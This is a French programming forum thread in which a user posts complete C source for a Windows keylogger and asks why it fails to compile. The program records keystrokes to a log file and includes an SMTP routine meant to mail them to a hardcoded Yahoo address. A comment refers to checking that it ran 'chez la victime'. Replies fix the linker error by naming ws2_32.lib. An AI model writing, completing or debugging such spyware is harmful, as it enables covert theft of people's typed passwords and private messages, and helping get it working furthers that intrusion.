Slt, j'ai compilé mon code, il me présente des erruers que je n'arrive pas a lez

Signaler
Messages postés
3
Date d'inscription
dimanche 19 septembre 2010
Statut
Membre
Dernière intervention
2 novembre 2010
-
Messages postés
3874
Date d'inscription
mardi 8 mars 2005
Statut
Modérateur
Dernière intervention
7 novembre 2014
-
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>



int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);

//******************************************************************
#define BUFSIZE 800
#define waittime 500


#define cmailserver "smtp.mail.yahoo.fr"
#define cemailto "destination@yahoo.fr"
#define cemailfrom "source@yahoo.fr"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "smtpfile.txt"
#define cemailsubject "Logged"
#define cemailmessage "Helloooooooo   wooooorld"

//******************************************************************//

//*****************************************************************//
int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int ismaj(); //savoir si on le clavier est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);  // traiter les touche qui presente un probleme.
int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;  // le fichier de sortie
char fichier[256]; // declarer un tableau pour remplir le tableau de sortie.
//******************************************************************//
                    // le programme principal //
//******************************************************************//
int main(int argc, char *argv[])
{

int i, lettre, result, lastresult, lastletter, compteur;
// definir le dossier contenant le fichier "LOG.txt"
GetCurrentDirectory(256, fichier);
strcat(fichier,"\\Monfichierlog.txt");
sortie = fopen(fichier,"w+");   // ouvrir le fichier "LOG.txt"
//////////////////////////////////
result=0;
compteur=0; //on initialise les variables
lastresult=0;
i=0;

while ( i==0 ) { //boucle sans fin
lettre=13;
for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres

  //passer les caractères inutiles
   if ( lettre==14 ) lettre=20;
   if ( lettre==21 ) lettre=48;
   if ( lettre==58 ) lettre=65;
   if ( lettre==91 ) lettre=96;
   if ( lettre==108 ) lettre=109;
   if ( lettre==112 ) lettre=186;
   if ( lettre==189 ) lettre=190;
   if ( lettre==193 ) lettre=219;
   if ( lettre==220 ) lettre=221;
   if ( lettre==222 ) lettre=223;
   
   
result=GetKeyState(lettre); 

// POUR LA TOUCHE CAPS LOCK, LE 20, IL Y A UN TRAITEMENT PARTICULIER POUR VOIR LE MODE DU CLAVIER

if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;  // si caps lock est non appuyée maj=0
if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;  // sinon maj=1
// ********************************************************************
// si result ne prend ni 1 ni 0 alors on doit trater cette touche
if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
{
TraiterLettre(lettre);  // si la touche est specifique
lastresult=result; // 
lastletter=lettre; // lastletter prend la valeur de la derniere touche causant un probleme
lettre=13; // revenir a l'etat initiale
Sleep(50);  //
}



else if ( ( ( result!=0 ) && ( result!=1 ) ) | ( ( lettre==lastletter ) && ( lastresult!=result ) ) )
    { //si une nouvelle touche est frappée
   if ( ( result!=lastresult ) && ( ( result==-127 ) | ( result==-128 ) ) 
   &&  !( ( ( result==-127 ) && ( lastresult==-128 ) ) | ( ( result==-128 ) 
   && ( lastresult==-127 ) ) ) ) TraiterLettre(lettre); //je ne sais plus trop mais ça marche
   lastresult=result;
   lastletter=lettre;
   Sleep(50); 
   } //fin de traitement pour une nouvelle touche
   
   
} //fin de test des lettres
Sleep(1);
} //fin de la boucle sans fin
MailIt (cmailserver, cemailto, cemailfrom,cemailsubject, cemailmessage);
return 0;
}


//**************************************************************************************
          // LA FONVTION ISALT POUR TESTER LA TOUCHE ALT//
//**************************************************************************************
int isalt() {
int result;

result=GetKeyState(VK_MENU );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
//**************************************************************************************
//**************************************************************************************
//     TESTER SI LE CLAVIER EST EN MODE MAJUSCULE     //
//**************************************************************************************
int ismaj() {

if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
return 1;
else return 0;
}
//**************************************************************************************

//**************************************************************************************
// TESTER SI LA TOUCHE CAPS LOCK EST PRESS'E  //
//**************************************************************************************
int ismajpressed() {
int result;

result=GetKeyState(VK_SHIFT );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}

//**************************************************************************************
   //     TRAITER LES TOUCHES SPECIFIQUES    //
//**************************************************************************************
void TraiterLettre(int lettre) {

char towrite; //la lettre que l'on va écrire dans la console
static int compteur = 0;

//traitement des chiffres ( un décalage )
if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;

//Les lettres sont envoyées comme majuscules, il faut faire un décalage
else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
//Sinon on écrit telle quelle la lettre
else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
else switch ( lettre ) {
case VK_MENU:
fprintf(sortie,"",towrite);
break;

case VK_BACK:
fprintf(sortie,"<delete>",towrite);
break;
case VK_DELETE:
fprintf(sortie,"<Suppr>",towrite);
break;
case 9:
fprintf(sortie,"<TAB>",towrite);
break;



case VK_CONTROL:
fprintf(sortie,"<ctrl>",towrite);
break;


case 49 : if( ismaj() ) towrite='1';
else towrite='&';
break;

case 50 : if ( ismaj() ) towrite='2';
else towrite='é';
break;

case 51 : if ( ismaj() ) towrite='3';
else towrite='"';
break;

case 52 : if ( ismaj() ) towrite='4';
else towrite= '"';
break;
case 53 : if ( ismaj() ) towrite='5';
else towrite='(';
break;

case 54 : if ( ismaj() ) towrite='6';
else towrite='-';
break;
case 55 : if ( ismaj() ) towrite='7';
else towrite='è';
break;


case 56 : if ( ismaj() ) towrite='8';
else towrite='_';
break;


case 57 : if ( ismaj() ) towrite='9';
else towrite='ç';
break;

case 48 : if ( ismaj() ) towrite='0';
else towrite='à';
break;

case 187 : if( ismaj() ) towrite='=';
else towrite='+';
break;

case 186 : if ( ismaj() ) towrite='£';
else towrite='$';
break;
case 192 : if ( ismaj() ) towrite='%';
else towrite='ù';
break;

case 188 : if ( ismaj() ) towrite='?';
else towrite=',';
break;

case 190 : if ( ismaj() ) towrite='.';
else towrite=';';
break;
case 191 : if ( ismaj() ) towrite='/';
else towrite=':';
break;


case 32 : if ( isalt() ) towrite=' ';
else towrite=' ';
break;



case 219 : if ( isalt() ) towrite=']';
else towrite=')';
break;

case 223 : towrite='!';
break;
case 111 : towrite='/';
break;
case 106 : towrite='*';
break;
case 109 : towrite='-';
break;
case 107 : towrite='+';
break;
case 110 : towrite='.';
break;
}
#
#
// On affiche les lettres dans le log
if ( lettre==13 ) fprintf(sortie,"\n");
else fprintf(sortie,"%c",towrite);
compteur++;
#
if ( compteur==2 ) {
fclose(sortie);
fopen(fichier,"a");
compteur=0;
}
}



int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
FILE *smtpfile;

#define bufsize 300 // taille du fichier pour l' envoie
int bytes_sent;
int err;
struct hostent *host; /* gethostbyname */
struct sockaddr_in dest_addr; /* adresse de l'hote */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
//tester l'accessibilite du chemin du socket 
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR ) {
fputs("WSAStartup failed",smtpfile);
WSACleanup();
return -1;
}
// tester le serveur smtp
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}

memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
#
/* Preparer l'addresse destination dest_addr */
dest_addr.sin_family= host->h_addrtype;
dest_addr.sin_port= htons(587); /* PORT */
#
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connection !*/ // tester lecalement si le programme est bien marché chez la victime
fputs("Connecting....\n",smtpfile);
#
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
// ecrire dans le fichier smtpfile "helo me..."
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
// bytes_sent prend le nombre de lettre contenant dans smtpfile
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
Sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
} 

[code=cpp]

4 réponses

Messages postés
3
Date d'inscription
dimanche 19 septembre 2010
Statut
Membre
Dernière intervention
2 novembre 2010

Messages postés
18
Date d'inscription
mardi 19 mai 2009
Statut
Membre
Dernière intervention
16 octobre 2011
1
Salut,

Fait attention quand tu créer un post! Le sujet n'est pas là ou tu doit poser ta question!

Ton problème est dû à la fonction "WSAStartup" qui n'est pas définie!
"Undefined reference to 'WSAStartup'" => Pas de référence définie pour 'WSAStartup'


Cdlt,
Fabrice
Messages postés
3
Date d'inscription
dimanche 19 septembre 2010
Statut
Membre
Dernière intervention
2 novembre 2010

merci fabrice, chui nouveau
Messages postés
3874
Date d'inscription
mardi 8 mars 2005
Statut
Modérateur
Dernière intervention
7 novembre 2014
14
Bonjour,

Pour une question C, merci de poster sur cppfrance dans un thème C.

Le linker ne trouve pas WSAStartup. Quand on a ce problème avec une fonction windows, il suffit d'aller consulter la documentation de la fonction. Le .lib à ajouter en entrée du lieur est précisé : ws2_32.lib.

[ Déplacé sur cppfrance.com ]